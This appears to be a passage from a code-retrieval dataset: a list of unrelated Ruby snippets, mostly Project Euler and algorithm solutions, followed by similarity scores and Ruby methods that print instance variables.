"def p206\n re = /1.2.3.4.5.6.7.8.9.0/\n max = Math.sqrt(1929394959697989990).floor\n\n # Round since only squares of multiples of 30 and 70 end with 9_0 (e.g. 900)\n i = round_up Math.sqrt(1020304050607080900).floor, 100\n while i < max\n p30 = (i+30) ** 2\n p70 = (i+70) ** 2\n\n if re === \"#{p30}\"\n return \"#{i+30}^2 = #{p30}\"\n elsif re === \"#{p70}\"\n return \"#{i+70}^2 = #{p70}\"\n end\n\n i += 100\n end\nend",
"def compare_solutions(count = 5, n_min = 1, n_max = 300)\n arr = generate(count, n_min, n_max)\n if solve(arr) != solve_opt(arr)\n puts \"\\nFAILED\"\n puts 'data: ' + arr.to_s\n puts 'solution: ' + solve(arr).to_s\n puts 'optimized solution: ' + solve_opt(arr).to_s\n end\nend",
"def solution\n 971 * (-61)\nend",
"def optimize_every; end",
"def p_triplets(max)\n test = []\n for a in 1..max do\n for b in a..max do\n for c in b..max do\n if a**2 + b**2 == c**2 && a + b + c == 1000\n puts \"a:#{a} b:#{b} c:#{c} \"\n return a*b*c\n end\n end\n end\n\n end\n return test.length\nend",
"def problem_106a\n combin = lambda { |m,h| m.factorial / (h.factorial * (m - h).factorial) }\n max = 20\n\n sum = Array.new(max+1,-1)\n 1.upto(max) do |n|\n 0.upto(n/2) do |k|\n sum[n] += combin.call(n,2*k) * combin.call(2*k - 1, k + 1)\n end\n puts \"#{n} #{sum[n]}\"\n end\n sum[12]\nend",
"def _reduce_500(val, _values, result)\n result = s(:lasgn, val[0])\n \n result\nend",
"def five_hundred_and_twenty(_max_number = 1000)\n # Initialize values\n all_number_sets = [\n { 'o1' => 1, 'o2' => 1, 'o3' => 1 },\n { 'o1' => 1, 'e1' => 2 },\n { 'o1' => 3 }\n ]\n all_number_sets = [\n { 'o1' => 1, 'o2' => 1, 'o3' => 1, 'o4' => 1 },\n { 'o1' => 1, 'o2' => 1, 'e1' => 2 },\n { 'o1' => 3, 'o2' => 1 },\n { 'e1' => 2, 'e2' => 2 },\n { 'e1' => 4 }\n ]\n all_number_sets = [\n { 'o1' => 1, 'o2' => 1, 'o3' => 1, 'o4' => 1, 'o5' => 1 },\n { 'o1' => 1, 'o2' => 1, 'o3' => 1, 'e1' => 2 },\n { 'o1' => 1, 'e1' => 2, 'e2' => 2 },\n { 'o1' => 1, 'e1' => 4 }\n ]\n all_number_sets.each do |set|\n all_permutations = TaylorMath::Probability.npr(set.length, set.reduce(&:*))\n no_duplicate_permutations = all_permutations / TaylorMath::Probability.objects_factor(set)\n comb_with_zero = nil # TODO: Correct this value\n comb_without_zero = nil # TODO: Correct this value\n end\nend",
"def problem_ten\n Prime.instance.each(2_000_000).reduce(&:+)\n end",
"def problem_six\n (1.upto(100).reduce(:+)) ** 2 - (1.upto(100).map { |n| n ** 2 }).reduce { |sum, n| sum + n }\n end",
"def build_subsolutions\n @success_probability = Array.new(@size)\n @success_probability[@size-1] = 1.0/@size\n (@size-1).downto(1).each { |k|\n @success_probability[k-1] = 1.0/@size + @success_probability[k]*(k-1)/k\n }\n end",
"def sustitucion_regresiva(n, a, b)\n n = n - 1\n\n x = Array.new(n + 1)\n x[n] = b[n].fdiv(a[n][n])\n\n (0..n - 1).reverse_each do |i|\n sumatoria = (i + 1..n).inject(0) { |sum, k| sum + a[i][k] * x[k] }\n x[i] = (b[i] - sumatoria).fdiv(a[i][i])\n end\n\n puts \"Una solucion aproximada del sistema es X = #{x}\"\n return x\nend",
"def run(total)\n for a in 1..total\n for b in a..total\n for c in b..total\n if a + b + c == 1000\n if a*a + b*b == c*c\n puts \"a=#{a} b=#{b} c=#{c}\"\n return a*b*c\n end\n elsif a + b + c > 1000\n break \n end\n end\n end\n end\nend",
"def _reduce_479(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend",
"def _reduce_600(val, _values, result)\n yyerrok\n \n result\nend",
"def problem_80(size = 100)\n total = 0\n (2..100).each do |n|\n n,d = n.sqrt_frac(2*size)\n next unless n\n r = n * (10 ** (size * 1.1).to_i) / d\n r = r.to_s[0,size].split(//).map(&:to_i).reduce(&:+)\n total += r\n# puts r.inspect\n end\n total\nend",
"def problem_77\n primes = Primes.upto(120)\n\n # num is the value we want and\n # off is the index in primes to use next\n hits = 0\n solve = lambda do |num, off|\n return 1 if num == 0\n return 0 if num == 1\n ret = 0\n p = primes[off]\n ret += 1 if num % p == 0 # Add if a multiple\n ret += solve.call(num,off-1) if off > 0 \n n = num / p\n if n > 0 # Do each multiple\n 1.upto(n) do |i|\n left = num - i*p\n ret += solve.call(left,off-1) if off > 0 && left > 1\n end\n end\n ret\n end\n\n #(2..100).each do |num|\n num = 0\n (2..100).each do |num|\n off = primes.index {|i| i > num } - 1\n hits = solve.call(num,off)\n puts \"#{num} => #{hits}\"\n return num if hits >= 5000\n end\nend",
"def hansen_utilities\n # Algorithm equations are meant for fitness maximization\n # Match utilities with individuals sorted by INCREASING fitness\n log_range = (1..popsize).collect do |v|\n [0, Math.log(popsize.to_f/2 - 1) - Math.log(v)].max\n end\n total = log_range.reduce(:+)\n buf = 1.0/popsize\n vals = log_range.collect { |v| v / total - buf }.reverse\n NMatrix[vals, dtype: :float64]\n end",
"def sol inp\n k, ins = inp.split(' ',2)\n k = k.to_i\n ps, pr, pi, pu, pw, pd, pl = ins.split.map(&:to_f)\n\n @ps = ps\n @pr = pr\n @pu = pu\n @pw = pw\n @pd = pd\n @pl = pl\n\n #\n # required_wins = 2\n # # winning 1st set\n # first_set = ps*pi + pr*(1-pi)\n # # winning 2nd set\n # first_set * winning_another_set + (1-first_set)*winning_another_set\n #\n # required_wins.times do |i|\n # count = 0\n # while count <= i\n # wins[i] = win_scene(pi,ps,pr, count)\n # count+=1\n # break if count == i\n # lose_scene(pi,ps,pr, pr,count)\n # end\n # end\n\n # winning second set after winning first + winning second set after winning one\n # wins[0]*win_scene(pi,ps,pr) + (1-wins[0])*lose_scene(pi,ps,pr)\n\n def win_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"w #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi+(@pu*@pw))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins+1\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins)#+ (1-chance)*lose\n end\n end\n\n def lose_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"l #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi-(@pd*@pl))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins) #+ (1-chance)*lose\n end\n end\n\n # a = win_scene(pi,0,1,0)\n b = win_scene(pi,0,k,0)\n c = lose_scene(pi,0,k,0)\n # c = (k > 1) ? lose_scene(pi,1,k,0) : 0\n\n puts b\n puts c\n b +c\n # wtf?\n # 0.4* win_scene(pi,0,k,0)+ (1-0.6)*lose_scene(pi,0,k,0)\n\n# def smth(pi, ps, pr, setcount=0)\n# arr[1] = arr[0]\n# end\n# # set 2+ ?\n# set2 = ((ps+pu)*pw + ps*(1-pw))*pi\n# (1-set1)*((ps-pd)*pl + ps*(1-pl))\n# if k > 1\n# (k-1).times do\n#\n# end\n# end\nend",
"def solve\n a = Time.new\n for i in 0..@itemsSize - 1\n @table[0][i] = 0\n end\n \n for i in 1..@itemsSize - 1\n price = @problem.prices[i-1]\n weight = @problem.weights[i-1]\n for w in 1..@weights - 1\n if weight <= w\n if (price + @table[w - weight][i - 1]) > @table[w][i -1]\n @table [w][i]= price + @table[w - weight][i - 1]\n else\n @table[w][i] = @table[w][i - 1]\n end\n else\n @table[w][i] = @table[w][i - 1]\n end\n end\n end\n \n \n prev_item = 0\n for i in 1..@itemsSize - 1\n curr_item = @table[@weights - 1][i]\n if prev_item < curr_item\n @best_configuration.push(1)\n else\n @best_configuration.push(0)\n end\n prev_item = curr_item\n end\n \n @best_fitness = @table[@weights - 1][@itemsSize - 1]\n \n b = Time.new\n @time = b-a\n end",
"def how_many_solutions?(a, b, c)\n test = b**2 - 4*a*c\n if test > 0\n 2\n elsif test == 0\n 1\n else\n 0\n end\nend",
"def problem_78\n n = 1\n p_cache = [1]\n\n generate = lambda do |k|\n ret = 0\n sign = 0\n Integer.generalized_pentagonals do |gp|\n if k < gp\n false # Need to exit ruby1.8, can't break...\n else\n if sign >= 0\n ret += p_cache[k-gp]\n else\n ret -= p_cache[k-gp]\n end\n sign += (sign == 1) ? -3 : 1 # 4 states + + - -\n end\n end\n p_cache[k] = ret % 100_000_000\n ret\n end\n\n p = 1\n loop do\n r = generate.call(p)\n# puts \"#{p} #{generate.call(p)}\"\n break if r % 1_000_000 == 0\n p += 1\n end\n p\nend",
"def greatVertical numba\n movenum = 0\n greatproduct = 0\n while movenum < numba.length-60 do\n production = numba[movenum].to_i\n 1.upto(3) do |i|\n production *= numba[movenum+20*i].to_i\n end\n greatproduct = production if production > greatproduct\n movenum+=1\n end\n return greatproduct\nend",
"def test_ce_deBoer_2\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n # Cost matrix\n n = 5\n c = NArray[[0,1,3,5,6],\n [1,0,3,6,5],\n [3,3,0,2,2],\n [5,6,2,0,2],\n [6,5,2,2,0]]\n\n mp = CrossEntropy::MatrixProblem.new\n mp.pr = NArray.float(2, n).fill!(0.5)\n mp.pr[true,0] = NArray[0.0,1.0] # put vertex 0 in subset 1\n mp.num_samples = 50\n mp.num_elite = 5\n mp.max_iters = 10\n smooth = 0.4\n\n max_cut_score = proc do |sample|\n weight = 0\n for i in 0...n\n for j in 0...n\n weight += c[j,i] if sample[i] < sample[j]\n end\n end\n -weight # to be minimized\n end\n best_cut = NArray[1,1,0,0,0]\n assert_equal(-15, max_cut_score.call(NArray[1,0,0,0,0]))\n assert_equal(-28, max_cut_score.call(best_cut))\n\n mp.to_score_sample(&max_cut_score)\n\n mp.to_update do |pr_iter|\n smooth*pr_iter + (1 - smooth)*mp.pr\n end\n\n mp.for_stop_decision do\n #p mp.pr\n mp.num_iters >= mp.max_iters\n end\n\n mp.solve\n\n if best_cut != mp.most_likely_solution\n warn \"expected #{best_cut}; found #{mp.most_likely_solution}\" \n end\n assert mp.num_iters <= mp.max_iters\n end",
"def run_tests\n check_solution(1, (100..200).to_a, 135, 35)\n check_solution(2, [13, 19, 24, 29, 32, 37, 43], 35, -1)\nend",
"def find_solutions_dp\n solutions = Array.new(@amount+1).map {|i| 0 }\n solutions[0] = 1\n\n @coins.each do |coin|\n for i in coin..@amount\n solutions[i] = solutions[i] + solutions[i-coin]\n end\n end\n\n solutions[@amount]\n end",
"def start_solution plan\n solutions = []\n 15.times do\n s = mutate_pairs plan, valid_solution2(false)\n solutions << s\n end\n\n #0.times do\n # s = random_solution plan\n #end\n\n 10.times do\n s = structured_solution plan\n solutions << mutate_pairs(plan, s)\n end\n sort_soluitons plan, solutions\n end",
"def solve!\n end",
"def qytt\n # procure the numbers\n arrNumbers = [ arrNumbersOfProcGivenMinMax( method(:intGetTriangleInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetSquareInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetPentagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetHexagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetHeptagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetOctagonalInt), 1000, 10000) ]\n arrNumbers.map! do |arr|\n deletable = []\n arr.each do |num|\n if ( num / 10 % 10 == 0 )\n deletable << num\n end\n end\n arr -= deletable\n end\n\n # get the hash numbers which we will jump to and from\n hashNumbers = Array.new(6){ HashChained.new }\n (0..5).each do |i|\n arrNumbers[i].each do |num|\n hashNumbers[i][num/100] = num % 100\n end\n end\n\n threads = []\n # we're guaranteed only one solution\n superResult = 0\n\n # iterate through the octagonal numbers\n arrNumbers.last.each do | firstNum |\n checker = firstNum % 100\n hashNumbers[0..4].permutation.each do |perm|\n t = Thread.new do\n result = qyttRecursion( checker, perm )\n if result[0] > 0 && result[1] == firstNum / 100\n superResult = result[0] + firstNum\n end\n end\n threads << t\n end\n end\n\n threads.each do |t|\n t.join\n end\n superResult\n\nend",
"def p9\n\ta, x = 1, 1000\n\tloop do\n\t\tb = (2.0 * x * a - x ** 2.0) / (2.0 * a - 2.0 * x)\n\t\tif (b % 1).zero?\n\t\t\tc = (a ** 2 + b ** 2) ** 0.5\n\t\t\tputs triplet = [a,b,c].to_a\n\t\t\treturn triplet.reduce(:*)\n\t\tend\n\t\ta += 1\n\tend\nend",
"def multiple()\n\tresult = 0\n\t\tfor i in 1...1000\n\t\t\tif i%3 == 0 || i%5 == 0\n\tresult += i\n\t\t\tend\n\t\tend\n\treturn result\nend",
"def _reduce_590(val, _values, result)\n result = [:dot, val[0][1]]\n \n result\nend",
"def solution\n\n return self if solved?\n\n while [hidden_singles, naked_singles].any?\n end\n\n return self if solved?\n\n\n # Brute force\n i = each_empty_cell.sort_by { |cell, n| legal_values(n).size }.first.try :last\n\n legal_values(i).map do |value|\n fill(i, value).solution\n end.compact.select { |n| n.solved? }.first\n end",
"def problem1 limit\n (0...limit).map {|n| (n%3==0 || n%5==0) ? n : 0 }.reduce(:+)\nend",
"def optimum_epl max = 1700, tolerance = 0.1\n last_epl = false\n epl = nil\n 10.times do |i|\n epl = generate_epl(tolerance)\n \n # Exit loop \n # 28 == basic string length from generate_epl\n if epl.length > max || (epl.length == last_epl.length if last_epl && epl.length != 29)\n return last_epl \n else \n last_epl = epl\n tolerance = tolerance / 10.0 #DECREASE SIMPLIFICATION BY FACTOR OF TEN\n end \n end\n epl\n end",
"def optimum_epl max = 1700, tolerance = 0.1\n last_epl = false\n epl = nil\n 10.times do |i|\n epl = generate_epl(tolerance)\n \n # Exit loop \n # 28 == basic string length from generate_epl\n if epl.length > max || (epl.length == last_epl.length if last_epl && epl.length != 29)\n return last_epl \n else \n last_epl = epl\n tolerance = tolerance / 10.0 #DECREASE SIMPLIFICATION BY FACTOR OF TEN\n end \n end\n epl\n end",
"def test_ce_deBoer_1\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n n = 10\n y_true = NArray[1,1,1,1,1,0,0,0,0,0]\n\n mp = CrossEntropy::MatrixProblem.new\n mp.pr = NArray.float(2, n).fill!(0.5)\n mp.num_samples = 50\n mp.num_elite = 5\n mp.max_iters = 10\n\n mp.to_score_sample do |sample|\n y_true.eq(sample).count_false # to be minimized\n end\n\n mp.solve\n\n if y_true != mp.most_likely_solution\n warn \"expected #{y_true}; found #{mp.most_likely_solution}\" \n end\n assert mp.num_iters <= mp.max_iters\n end",
"def solution(number)\n mul3 = (number - 1) / 3\n mul5 = (number - 1) / 5\n mul15 = (number - 1) / 15\n\n (3 * mul3 * (mul3 + 1) + 5 * mul5 * (mul5 + 1) - 15 * mul15 * (mul15 + 1)) / 2\nend",
"def multiples_3_5_v1\n\tmultiples = (1...1000).find_all do |i| \n\t\ti % 3 == 0 || i % 5 == 0\n\tend\n\n\tanswer = multiples.inject do |memo, num|\n\t\tmemo + num\n\tend\n\n\treturn answer\nend",
"def solution\n throw 'No Solution yet' unless @cs\n lambda do |x|\n res = 0;\n @cs.each.with_index do |c,i|\n res += c*phi(i,x)\n end\n res\n end\n end",
"def masterwork_prob_bonus; 0; end",
"def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend",
"def solution(size=5)\n ([1] + (3..size).select(&:odd?).map do |x|\n 4*x**2 - 6*x + 6\n end).reduce(:+)\nend",
"def fit; end",
"def retirement_range\n #large simulation\n (1..30)\n end",
"def problem_66\n max = [0,0]\n (2..1000).each do |d|\n top,bot = d.sqrt_frac {|t,b| (t*t - d*b*b) == 1}\n next unless top\n max = [max,[top,d]].max\n puts \"#{d} #{top} #{bot}\"\n end\n max[1]\nend",
"def findLargestProduct\n \n solution = 0\n last = 4\n n = \"73167176531330624919225119674426574742355349194934969835203127745063262395783180169\n 8480186947885184385861560789112949495459501737958331952853208805511125406987471585238630\n 5071569329096329522744304355766896648950445244523161731856403098711121722383113622298934\n 2338030813533627661428280644448664523874930358907296290491560440772390713810515859307960\n 8667017242712188399879790879227492190169972088809377665727333001053367881220235421809751\n 2545405947522435258490771167055601360483958644670632441572215539753697817977846174064955\n 1492908625693219784686224828397224137565705605749026140797296865241453510047482166370484\n 4031998900088952434506585412275886668811642717147992444292823086346567481391912316282458\n 6178664583591245665294765456828489128831426076900422421902267105562632111110937054421750\n 6941658960408071984038509624554443629812309878799272442849091888458015616609791913387549\n 9200524063689912560717606058861164671094050775410022569831552000559357297257163626956188\n 2670428252483600823257530420752963450\"\n dataArray = n.chars.map(&:to_i)\n\n (0..995).each do |start| \n possible_sol = dataArray[start..last].inject(:*)\n \tsolution = possible_sol if possible_sol > solution \n \tlast += 1\n end\n\n solution\n\nend",
"def formingMagicSquare(s)\r\n out = 100\r\n for i in 0...8 do\r\n cost = 0\r\n for j in 0...3 do\r\n for k in 0...3 do\r\n cost += ($magic_square[i][j][k] - s[j][k]).abs\r\n end\r\n end\r\n puts cost\r\n out = [out, cost].min\r\n end \r\n out\r\nend",
"def solve( n = 1_000_000 )\n sum = limit = 0\n \n while sum < n\n limit += 1\n limit2 = limit * limit\n \n 2.upto( limit << 1 ) do |bc|\n d = Math.sqrt( limit2 + bc*bc )\n sum += (bc > limit ? 1 + limit - (1 + bc)/2 : bc/2) if d.to_i == d\n end\n end\n\n limit\n end",
"def hook_solution?(a); end",
"def calculate(threshold: 0.001, safety_net: false)\n dinv, b, l, u = @dinv, @b, @l, @u\n c = dinv * b\n t = -1 * dinv * (l + u)\n x_n = Matrix.column_vector(Array.new(@a.column_count, 0))\n counter = 0\n loop do \n x_n_plus_1 = c + t * x_n\n x_difference = (x_n_plus_1 - x_n).map{ |el| el.abs }\n # puts x_n_plus_1\n should_break = !x_difference.find{ |el| el > threshold }\n x_n = x_n_plus_1 \n break if should_break\n counter += 1\n if counter > 10000000 and safety_net \n return (@a.inv * b).map{ |el| el.to_f}\n end\n end \n return (safety_net and x_n.find{ |el| el.to_f.nan? }) ? (@a.inv * b).map{ |el| el.to_f} : x_n\n end",
"def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end",
"def solve_math_attempt\n\n # 0 jolt charging outlet\n outlet = JoltageAdapter.new(0)\n @adapters.push(outlet)\n\n # final jump to device\n dev = Device.new(@adapters)\n @adapters.push(dev)\n\n @adapters.sort_by! {|adapter| adapter.joltage}\n\n\n # we only care about the joltages\n available_joltages = @adapters.map { |adapter| adapter.joltage }\n\n count = 0\n\n available_joltages.each do |joltage|\n\n # p joltage\n\n can_link_to = available_joltages.select do |node|\n diff = node - joltage\n diff <= 3 && diff > 0\n end\n\n is_linked_to = available_joltages.select do |node|\n diff = joltage - node\n diff <= 3 && diff > 0\n end\n\n # count += can_link_to.size\n # count *= is_linked_to.size\n\n impact = (can_link_to.size) * (is_linked_to.size) - 1\n\n puts \"Adapter #{joltage} impact: #{impact}\"\n\n count += impact unless impact <= 0\n\n\n\n\n # puts 2**(can_link_to.size-1) unless (can_link_to.size - 1 <= 0)\n\n # puts \"Joltage #{joltage} can link to #{can_link_to}, size #{can_link_to.size}\"\n\n # puts \"Increasing current count of #{count} by #{can_link_to.size}\"\n # count *= 2**(can_link_to.size-1) unless can_link_to.size <= 0\n\n\n end\n puts \"COUNT: #{count}\"\n # puts count.class\n # p count\n\nend",
"def _reduce_522(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n\n result\nend",
"def solve( n = 30 )\n term = nil\n\n (2..10).each do |e|\n (2..100).each do |sum|\n if (sum**e).sum_digits == sum\n term, n = sum**e, n - 1 \n end\n break if 0 == n\n end\n break if 0 == n\n end\n\n term\n end",
"def calculated; end",
"def compute\n perimeter = 1000\n (1..(perimeter+ 1)).each do |a|\n ((a + 1)..(perimeter + 1)).each do |b|\n c = perimeter - a - b\n return (a * b * c).to_s if (a * a + b * b == c * c)\n end\n end\nend",
"def generate_comprehensive\n\n end",
"def fully_extend_all reps=nil\n dist.branches.times do |i|\n hits = mapee(i).hits\n len = mapee(i).length\n mapee(i).clear_hits\n reps = (@len.to_f / len).round if reps.nil?\n mapee(i).length = @len\n reps.times do |j|\n new_hits = HitSq.new\n new_hits << hits\n new_hits * (1.0/reps)\n new_hits + (j.to_f / reps)\n# puts new_hits.hits.inspect\n mapee(i) << new_hits\n end\n# puts mapee(i).hits.hits.inspect\n end\n end",
"def solve(points)\r\n min_dis = BigDecimal(\"-1\")\r\n p min_dis.class\r\n \r\n min_route = []\r\n (1..points.length-1).to_a.permutation(points.length-1).to_a.each do |route|\r\n route.unshift(0)\r\n #p route\r\n dis = BigDecimal(\"0\")\r\n (0...route.length-1).each do |i|\r\n dis += Math.sqrt((BigDecimal(points[route[i]][0].to_s) - BigDecimal(points[route[i+1]][0]))**2 + (BigDecimal(points[route[i]][1]) - BigDecimal(points[route[i+1]][1]))**2)\r\n end\r\n dis += Math.sqrt((BigDecimal(points[route[route.length-1]][0]) - BigDecimal(points[route[0]][0]))**2 + (BigDecimal(points[route[route.length-1]][1]) - BigDecimal(points[route[0]][1]))**2)\r\n #p dis\r\n if min_dis == -1 || min_dis > dis\r\n #p dis.class\r\n min_dis = dis\r\n min_route = route\r\n end\r\n end\r\n\r\n p min_dis.class\r\n print \"{{\"\r\n (0...min_route.length).each do |i|\r\n print \"#{min_route[i]+1},\"\r\n end\r\n print \"1},#{min_dis}}\\n\"\r\n #p min_dis\r\n #p min_route\r\n\r\nend",
"def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end"
] |
[
"0.6724764",
"0.66527724",
"0.62384665",
"0.6193403",
"0.6149259",
"0.61457956",
"0.6105641",
"0.6086502",
"0.6011727",
"0.5986332",
"0.5963917",
"0.5954246",
"0.5920353",
"0.58875805",
"0.5885025",
"0.5859763",
"0.58589005",
"0.58571494",
"0.58479816",
"0.58451223",
"0.5825216",
"0.58240557",
"0.5811304",
"0.5781381",
"0.576869",
"0.57649666",
"0.57618886",
"0.5751478",
"0.5750836",
"0.574554",
"0.57353115",
"0.5716999",
"0.57100666",
"0.57001173",
"0.5698893",
"0.56968063",
"0.56948555",
"0.56825125",
"0.56783056",
"0.5672573",
"0.56678534",
"0.56665075",
"0.5664657",
"0.5662125",
"0.5660361",
"0.5653181",
"0.5652933",
"0.5626604",
"0.5609971",
"0.56089973",
"0.5606432",
"0.5602523",
"0.56005645",
"0.559522",
"0.558758",
"0.5584033",
"0.5577116",
"0.5573939",
"0.5569989",
"0.55625236",
"0.55616236",
"0.555261",
"0.55471087",
"0.5544748",
"0.55398685",
"0.5538402",
"0.5538013",
"0.55351645",
"0.55293834",
"0.55293006",
"0.55290335",
"0.55274427",
"0.55259144",
"0.55229014",
"0.5516353",
"0.5515826",
"0.5502997",
"0.55014735",
"0.5501137",
"0.5496578",
"0.54953605",
"0.5483425",
"0.54776984",
"0.54765546",
"0.54763275",
"0.5474898",
"0.5472488",
"0.5471559",
"0.54609895",
"0.54602045",
"0.54590625",
"0.5448663",
"0.5447466",
"0.54405177",
"0.5439907",
"0.54391354",
"0.543681",
"0.54354554",
"0.5434628",
"0.54254204",
"0.54203343"
] |
0.0
|
-1
|
Print to_s all variables that are in this class
|
def status
stat = Hash.new("Empty!")
stat[:name] = @name
stat[:level] = @level
stat[:hp_cur] = @cur_health
stat[:hp_max] = @max_health
stat[:str] = @strength
stat[:exp_cur] = @cur_exp
stat[:exp_max] = @max_exp
return stat
#"Name: #{@name}\n" +
#"Level: #{@level}\n" +
#"Health: #{@cur_health}/#{@max_health}\n" +
#"Strength: #{@strength}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def toString\n\t\tself.instance_variables.each do |i|\n\t\t\tputs \"#{i[1..-1]}: #{self.instance_variable_get(i)}\\n\"\n\t\tend\n\tend",
"def toString\n\t\tself.instance_variables.each do |i|\n\t\t\tputs \"#{i[1..-1]}: #{self.instance_variable_get(i)}\\n\"\n\t\tend\n\tend",
"def inspect\n instance_variables.each_with_object([\n \"\\n#<#{self.class}:0x#{object_id.to_s(16)}>\",\n \"\\tInstance variables:\"\n ]) do |item, result|\n result << \"\\t\\t#{item} = #{instance_variable_get(item)}\"\n result\n end.join(\"\\n\")\n end",
"def inspect\n \"#<#{self.class} #{instance_variables.map{|iv| \"#{iv}=>#{instance_variable_get(iv).inspect}\"}.join(', ')}>\"\n end",
"def inspect\n ivar_string = (instance_variables.map(&:to_sym) - HIDDEN_IVARS).map do |ivar|\n \"#{ivar}=#{instance_variable_get(ivar).inspect}\"\n end.join(\", \")\n \"#<#{self.class}:#{object_id} #{ivar_string}>\"\n end",
"def inspect\n ivar_string = (instance_variables.map(&:to_sym) - HIDDEN_IVARS).map do |ivar|\n \"#{ivar}=#{instance_variable_get(ivar).inspect}\"\n end.join(\", \")\n \"#<#{self.class}:#{object_id} #{ivar_string}>\"\n end",
"def inspect\n %{<#{self.class.name} #{self.class.props.reduce([]) do |s, d| \n s << [d.first, send(d.first).inspect].join(\"=\")\n end.join(\" \")}>}\n end",
"def pretty_print_instance_variables\n %w(@nodes)\n end",
"def pretty_print_instance_variables\n instance_variables.sort\n end",
"def pretty_print_instance_variables\n instance_variables.sort\n end",
"def pretty_print_instance_variables\n (instance_variables - pretty_print_ignore).sort\n end",
"def print_variables() #method\n puts \"Variables directory:\"\n @variables.each do |key, variable|\n puts \"------------------------------------------------------\"\n puts(\"|Name: #{variable.name}, Type: #{variable.type}, Size: #{variable.size}, Dir: #{variable.memory_dir}, Dim Obj: #{variable.dim_objs}|\")\n puts \"------------------------------------------------------\"\n end\n end",
"def inspect\n\t\treturn %{#<%s:0x%0x %s>} % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.ivar_descriptions.join( ', ' ),\n\t\t]\n\tend",
"def output_variables\n string = \"\"\n @variables.each { |name, value| string += \"#{name} = #{value}\\n\" }\n string\n end",
"def print_fields\r\n\t\tputs \"from_address: #{@from_address}\"\r\n\t\tputs \"to_address: #{@to_address}\"\r\n\t\tputs \"num_billcoins: #{@num_billcoins}\"\r\n\t\tputs \"\"\r\n\tend",
"def dump\r\n super + to_s\r\n end",
"def print_fields\r\n\t\tputs \"name: #{@name}\"\r\n\t\tputs \"num_billcoins: #{@num_billcoins}\"\r\n\t\tputs \"\"\r\n\tend",
"def debug_string\n str = \"\"\n klass.fields.each do |f|\n if f.is_padding?\n str << \"#{f.name}: \\n\"\n else\n str << \"#{f.name}: #{send(f.name.to_sym)}\\n\"\n end\n end\n\n str\n end",
"def print_values\n print \"\\nRegister A: #{@register_a}\\tRegister B: #{@register_b}\\n\"\n print \"Zero Bit: #{@zero_bit}\\tOverflow Bit: #{@overflow}\\n\"\n print \"Program Counter: #{@pc}\\n\"\n print \"Memory: #{@memory}\\n\"\n end",
"def inspect\n prefix = \"#<#{self.class}:0x#{self.__id__.to_s(16)} \"\n\n (instance_variables - HIDE_IVARS).each do |var|\n prefix << \"#{var}=#{instance_variable_get(var).inspect}\"\n end\n\n return \"#{prefix}>\"\n end",
"def inspect\n prefix = \"#<#{self.class}:0x#{self.__id__.to_s(16)} \"\n\n (instance_variables - HIDE_IVARS).each do |var|\n prefix << \"#{var}=#{instance_variable_get(var).inspect}\"\n end\n\n return \"#{prefix}>\"\n end",
"def print_vars\n p @@z\n p @z # <1>\n end",
"def resolveV\r\n puts 'printing a list of instance variables:'\r\n\r\n puts @@currClass.instance_variables.to_s\r\n @@bLastUsed = false\r\n @@forwardClasses = []\r\n end",
"def print_info\n self.values.each do |value|\n puts value\n end\n end",
"def class_variables() end",
